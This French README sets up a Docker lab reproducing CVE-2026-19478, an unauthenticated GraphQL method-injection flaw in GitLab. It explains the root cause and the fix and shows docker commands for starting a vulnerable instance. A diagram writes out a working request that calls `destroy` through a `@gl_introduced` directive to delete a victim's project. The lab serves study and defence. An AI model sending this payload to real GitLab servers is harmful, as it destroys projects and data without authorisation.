Lab d'exploit dockerisé et script pour CVE-2026-19478, une injection de code critique non authentifiée dans GitLab GraphQL permettant des appels de méthodes Ruby arbitraires, la suppression de projets et l'exfiltration de données.
Injection de code à distance non authentifiée via une directive GraphQL dans GitLab CE/EE — Supprimez n'importe quel projet public avec une seule requête HTTP
Un laboratoire de test d'intrusion pratique qui reproduit CVE-2026-19478, une vulnérabilité critique (CVSS 9.4) dans l'API GraphQL de GitLab. La directive @gl_introduced permet à des attaquants non authentifiés d'exécuter des méthodes Ruby arbitraires sur des objets côté serveur — y compris la suppression de projets, l'exfiltration de données et le transfert de propriété — sans aucune authentification.
Ce laboratoire exécute une vraie instance vulnérable GitLab CE 19.2.0 dans Docker pour une pratique d'exploitation réaliste.
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2026-19478 |
| Score CVSS | 9.4 (Critique) |
| Produit | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| Type de vulnérabilité | Injection de code / Exécution de méthode arbitraire (CWE-94) |
| Vecteur d'attaque | Réseau (à distance) |
| Authentification | Aucune requise |
| Interaction utilisateur | Aucune |
| Complexité de l'attaque | Faible |
| Versions affectées | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| Versions corrigées | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Découvert par | hiimguardian (via HackerOne) |
| Date du correctif | 17 août 2026 |
Un attaquant distant non authentifié peut :
GitLab utilise une directive GraphQL personnalisée @gl_introduced(version: "X.Y") pour prendre en charge les déploiements progressifs. Lorsqu'une version plus récente de GitLab ajoute un champ à l'API GraphQL, les anciennes instances gèrent les requêtes référençant ces nouveaux champs avec élégance en renvoyant null au lieu de générer une erreur.
Fichier : lib/gitlab/graphql/version_filter/future_field_fallback.rb (lignes 14-36)
Analyse étape par étape :
FutureFieldFilter analyse les requêtes GraphQL entrantes. Lorsqu'un champ possède @gl_introduced(version) avec une version plus récente que celle du serveur actuel, il supprime le champ et définit context[:contain_future_fields] = true.
IntroducedTracer restaure le document de requête d'origine au moment de l'exécution, en réinsérant les champs supprimés dans l'AST.
FutureFieldFallback#get_field intercepte chaque recherche de champ pendant l'exécution. Il vérifie trois conditions :
contain_future_fields est-il défini ? ✅__ ? ✅Lorsque les trois vérifications réussissent, il synthétise un nouveau GraphQL::Schema::Field sans classe de résolveur.
Dans graphql-ruby, un champ sans résolveur se résout en appelant object.public_send(field_name) sur l'objet Ruby sous-jacent — convertissant le nom de champ de l'attaquant en un appel de méthode arbitraire sur le modèle ActiveRecord Project.
Le correctif de GitLab remplace la distribution de méthode implicite par un NilResolver explicite qui renvoie nil inconditionnellement, préservant la compatibilité des déploiements progressifs tout en éliminant l'exécution de méthode arbitraire :
# AVANT (vulnérable) — aucun résolveur → distribution de méthode
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← APPEL DE MÉTHODE ARBITRAIRE
# APRÈS (corrigé) — NilResolver explicite
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← renvoie toujours nil
ATTAQUANT (non authentifié)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ API GraphQL GitLab │
│ (aucune authentification) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" a @gl_introduced │
│ version 99.0 > 19.2.0 │
│ → Supprime le champ │
│ → Définit contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restaure la requête d'origine │
│ "destroy" est de retour dans l'AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" absent du schéma ? ✓ │
│ Drapeau défini ? ✓ │
│ Pas __introspection ? ✓ │
│ → Synthétise le champ │
│ → AUCUN RÉSOLVEUR attaché │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. Résolution graphql-ruby │
│ Aucun résolveur trouvé → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJET SUPPRIMÉ ██ │
└──────────────────────────────┘
curl / httpie pour tester l'API# Clonez ou accédez au répertoire du laboratoire
cd CVE-2026-19478
# Téléchargez et démarrez l'instance GitLab vulnérable
docker compose up -d
# Attendez que GitLab démarre complètement (3 à 5 minutes au premier démarrage)
# Surveillez la progression du démarrage :
docker logs -f gitlab-vulnerable